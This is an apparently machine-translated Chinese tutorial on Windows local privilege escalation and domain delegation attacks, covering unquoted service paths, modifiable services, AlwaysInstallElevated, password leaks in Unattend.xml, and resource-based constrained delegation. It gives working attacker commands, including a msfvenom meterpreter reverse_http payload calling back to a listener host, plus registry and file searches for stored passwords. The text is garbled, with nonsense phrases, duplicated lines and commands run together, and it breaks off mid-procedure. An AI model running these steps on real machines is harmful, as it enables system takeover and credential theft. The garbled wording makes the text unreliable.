先说实用,更被动,更看脸。
Windows下级服务的权限通常是SYSTEM。如果我们能为恶意程序替换服务的启动程序(如反弹)shell),也就是说,相当于获得SYSTEM权限,达到提权的目的。 无引号服务路径可能会导致这种情况。 所谓无引号服务路径,就是服务启动程序的路径包含空格,不包含引号。比如这样
C:\\Program Files\\floder1\\service.exe
由于空格的存在,Windows启动服务寻找服务启动项时,它将按照以下顺序索启动项目
C:\\Program.exeC:\\Program Files\\Some.exeC:\\Program Files\\Some Folder\\Service.exe
这给了我们一个机会:如果我们有权写入或完全控制服务的上层目录,我们可以在可执行文件中完全放置Windows以更高的顺序搜索服务启动项。
我们用以下命令搜索哪些服务路径不包括引号
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\\Windows\\\\" |findstr /i /v """
然后使用icacls命令查看在2345Explorer目录的权限如何?
users组是完全控制的(F),然后直接用msfvenom构建反弹shell的exe。命名为Protect.exe,放入2345Explorer目录。我在这里随便编码
msfvenom -p windows/meterpreter/reverse_http -e x86/shikata_ga_nai LHOST=192.168.111.129 LPORT=10068 -f exe -o Protect.exe
msfvenom -p windows/meterpreter/reverse_http -e x86/shikata_ga_nai LHOST=192.168.111.129 LPORT=10068 -f exe -o Protect.exe
现在我们无法重启服务。。。只能等管理员重启服务或机器重启。然后就拿到SYSTEM权限了。但是这里还有一个坑点,如果服务启动后在一定时间内没有与之相处 Service Control Manager(SCM) 通信,会停止。
所以我们必须得到它shell及时转账或添加管理员账户。 转移进程在msf中很简单,meterpreter中先用ps查看过程,随便找一个system记住权限pid,然后 migrate PID 进程迁移可以完成。
先说防治方法。进入登记表修改窗口 HKEY_LOCAL_MACHINE >> SYSTEM >> CurrentControlSet >> Services 在路径下找到有漏洞的服务,修改其ImagePath,在路径前后加个引号。
二、易攻击服务(Vulnerable Services )看脸也是被动的
这种攻击方法大致分为两类
1.替换服务二进制文件。这种方法相对简单。如果我们有权修改服务二进制文件的目录,我们可以创建恶意程序来替换原来的二进制文件服务。这个比较简单,基本上攻击过程和Trusted Service Paths同样,也是被动等待重启服务才能玩shell,不再演示。
2.修改服务属性。如果我们能修改服务 BINARY_PATH_NAME 属性(本属性用于指向服务的二进制文件),我们可以设置它 BINARY_PATH_NAME 我们的系统命令将在重启服务时执行。
对于后者,我们需要一个工具来快速揭示我们可以修改的服务属性。 我们使用这个工具accesschk.exe,它是微软产出的,基本不报毒。
我们通过该工具执行以下命令
accesschk.exe -uwcqv "Authenticated Users" * /accepteulaoraccesschk.exe -uwcqv "Users" * /accepteula来查看Users组(根据实际情况填写哪个组)对哪些服务有哪些权限?
若有服务service_all_access或下列权限,这意味着它性可以修改。
比如我们对Spooler服务有service_all_access我们可以这样做。
比如我们对Spooler服务有service_all_access我们可以这样做。
通过修改其binPath我们的恶意指令将被执行,等待管理员重启服务。三、AlwaysInstallElevated
[HKEY_CURRENT_USER\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer]“AlwaysInstallElevated”=dword:00000001[HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer]“AlwaysInstallElevated”=dword:00000001
那么所有msi(windows应用安装程序)将使用SYSTEM权限运行。如果我们在这个时候执行恶意msi程序可以达到提权的目的同时需要注意的是,这个注册表并不总是存在的。(比如我的实验机
我们可以通过reg query验证这两个注册表项的情况
reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevatedreg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated若均为1,我们可以通过msfvenom生成恶意msi来提权
四、信息泄露
Unattend.xml sysprep.xml和sysprep.inf文件GPP.xml 电脑 有一定的信息泄露,它们通常存在于以下路径中
C:\\Windows\\Panther\\C:\\Windows\\Panther\\Unattend\\C:\\Windows\\System32\\C:\\Windows\\System32\\sysprep\\找到后,找到 Unattend.xml 文件中的标签。可以找到用户加密后的密码。可以找到用户加密后的密码。
<UserAccounts> <LocalAccounts> <LocalAccount> <Password> <Value>UEBzc3dvcmQxMjMhUGFzc3dvcmQ=</Value> //PASSWORD <PlainText>false</PlainText> </Password> <Description>Local Administrator</Description> <DisplayName>Administrator</DisplayName> <Group>Administrators</Group> <Name>Administrator</Name> </LocalAccount> </LocalAccounts></UserAccounts>一些敏感文件查询指令C:\\Users\?\Desktop> dir C:\\ /s /b /c | findstr /sr \\*password\\*reg query HKLM /f password /t 电脑 REG_SZ /sreg query HKCU /f password /t REG_SZ /s
五、基于资源的域委派攻击refer:https://xz.aliyun.com/t/7454原理的几点:1.S4U2SELF 协议可以在用户未配置的情况下进行 TrustedToAuthenticationForDelegation 在使用任何协议认证时,都会调用属性(即开启约束性委派),但是返回的ST不能转发。2.根据资源的约束,委派主机 在被另一台主机委派访问时,S4U2PROXY过程中提交的ST即使不能转发。
2.根据资源的约束,委派主机 在被另一台主机委派访问时,S4U2PROXY过程中提交的ST即使不能转发。KDC仍将恢复有效性ST2。3.默认情况下,每个普通域的用户可以创建至多十个机器账户( 由MachineAccountQuota属性决定 ), 每个机器账户在创建时都会自动注册SPN: RestrictedKrbHost/domain和HOST/domain这两个SPN攻击流程:
假设开启基于资源的约束性机器A1.首先要有一个对当前计算机有写作权限的账户,可以设置A 被 服务访问服务账户。2.利用当前账户创建机器账户,并将机器账户分配到A 基于资源的约束性委派
3.因为机器账户是我们创建的,我们知道他的密码账户可以使用S4U2SELF协议获得不可转发协议ST。然后用这个不可转发ST通过S4U2PROXY,有效访问是基于资源的约束性委派A cifs服务的ST2。然后用这个不可转发ST通过S4U2PROXY,有效访问是基于资源的约束性委派A cifs服务的ST2。4.用ST2访问A的CIFS获得服务和权限。实操
电脑说白了,这次攻击是提权…
首先,让我们检查域控是否是域控win2012年以上的主机,因为只有这样才能打开 基于资源的约束性分配。
我们使用powersploit下的powerview脚本。执行命令 get-netdomaincontroller
域控可获得WIN版本
然后我们检查用户有权写哪个主机。因为是实验,我们先来看看如何配置用户对机器的权限。
直接在域控上找到主机,然后进入属性中的安全选项卡,添加用户,然后将权限分配给用户。